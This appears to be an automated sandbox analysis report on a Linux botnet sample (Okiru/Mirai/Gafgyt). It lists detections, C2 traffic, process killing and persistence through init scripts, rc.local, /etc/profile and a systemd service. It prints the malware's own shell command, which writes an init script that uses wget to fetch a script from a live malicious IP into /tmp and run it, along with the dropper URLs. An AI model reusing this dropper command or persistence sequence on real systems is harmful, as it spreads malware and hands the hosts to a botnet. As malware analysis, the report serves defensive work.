Linux Analysis Report
x86_64.nn.elf

Overview

General Information

Sample name:	x86_64.nn.elf
Analysis ID:	1579941
MD5:	d66df6f1f7ee0e5c61eaa0b56cb503c9
SHA1:	06ed826c89f2d475d5b3e3678cf23f611b93653a
SHA256:	67698b290f656fb3bf261fb8487e663c2be96f32e327939c14b130b05a5be70b
Tags:	elfuser-abuse_ch
Infos:

Detection

Okiru

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Machine Learning detection for sample

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.nn.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.nn.elf

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: x86_64.nn.elf

Joe Sandbox ML: detected

Found strings indicative of a multi-platform dropper

Source: x86_64.nn.elf

String: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginnfstftpFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104mallocwaitpidw/etc/motd%s

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.23:60018 -> 94.156.227.234:38242

Sample listens on a socket

Source: /tmp/x86_64.nn.elf (PID: 6236)

Socket: 0.0.0.0:38242

Jump to behavior

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234

Source: x86_64.nn.elf, sh.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: x86_64.nn.elf, 6236.1.00007ffe3c0d6000.00007ffe3c0f7000.rw-.sdmp	String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_64.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bi

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 6274, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 6344, result: successful	Jump to behavior

Yara signature match

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_64.nn.elf (PID: 6236)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6291)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 6298)	File: /etc/rc.d/S99sh -> /etc/init.d/sh	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6289)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/6344/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/2096/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/1664/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/2102/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/788/cmdline	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/x86_64.nn.elf (PID: 6247)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6286)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6290)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6292)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6293)	Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6295)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6297)	Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6289)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 6294)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6296)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 6259)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6289)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/x86_64.nn.elf (PID: 6236)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6236)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6292)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sh	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 6292)	File: /etc/init.d/sh			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6236, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6236, type: MEMORYSTR

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
94.156.227.234	unknown	Bulgaria	57463	NETIXBG	true
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Name	Type	MD5	SHA1	SHA256
/boot/bootcmd	ASCII text	3290F4F4E0B77B577C59026DEF246CEE	C51EAE7170430B5697B881BE716280D1FAAA9147	534E1753E7B5026C5F689F31942BD84E7869232A5CE24AE02B0A9647B3E2EDCD
/etc/init.d/sh	POSIX shell script, ASCII text executable	4C835AF4434E28E5B56D8CDFA8EE753D	B18DA30B2DF68AE4C788540CED328CA545C02F42	CA0FAC03BB49D9F40E83353A3C85D27B8AD800B8A77F88D1B43025148672E28D
/etc/init.d/system	POSIX shell script, ASCII text executable	FE7F857A52EC42881A76D01D4A4A1C3C	6391FE715F06AB2D7E58D18A41ED3A358C7E820C	20B80070DF0EDB6A011753C41051823E2F87C46A5493D6323BB5C023A19D2870
/etc/inittab	ASCII text	175C6814BBE06EB5816EFE3FE3934230	8C1A49BF7CA134E8AD0DDA70872367062BC600C5	11CB198833B5FB514AF33682A7148F95AA28CAEA16908A27FA10D71DD272730E
/etc/motd	ASCII text	2BD9B4BE30579E633FC0191AA93DF486	7D63A9BD9662E86666B27C1B50DB8E7370C624FF	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
/etc/profile	ASCII text	CEC61C0CDC61AB271C45B85281469388	E2DC08B86AC16A6A9BDA73D26DE0055528C647D9	AE69256D9ACCEE8C05AFBF46267368A0DDB3E5C9C54D24CFB018A35FEF86C560
/etc/rc.local	POSIX shell script, ASCII text executable	3E2B31C72181B87149FF995E7202C0E3	BD971BEC88149956458A10FC9C5ECB3EB99DD452	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
/etc/systemd/system/custom.service	ASCII text	8156A50E9D158639626649BD134E7D5D	D95D108656621F4B4F82B93CA0694D66F4A2FEF4	FB7F3B6DA55120E08AB0B9A9F4A9ECB1BB5D89BFD665EBE23C150FBFBC06E4D8
/memfd:snapd-env-generator (deleted)	ASCII text	D86A1F5765F37989EB0EC3837AD13ECC	D749672A734D9DEAFD61DCA501C6929EC431B83E	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
/run/user/127/dconf/user	very short file (no magic)	93B885ADFE0DA089CDF634904FD59F71	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.nn.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.nn.elf

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: x86_64.nn.elf

Joe Sandbox ML: detected

Found strings indicative of a multi-platform dropper

Source: x86_64.nn.elf

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.23:60018 -> 94.156.227.234:38242

Sample listens on a socket

Source: /tmp/x86_64.nn.elf (PID: 6236)

Socket: 0.0.0.0:38242

Jump to behavior

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
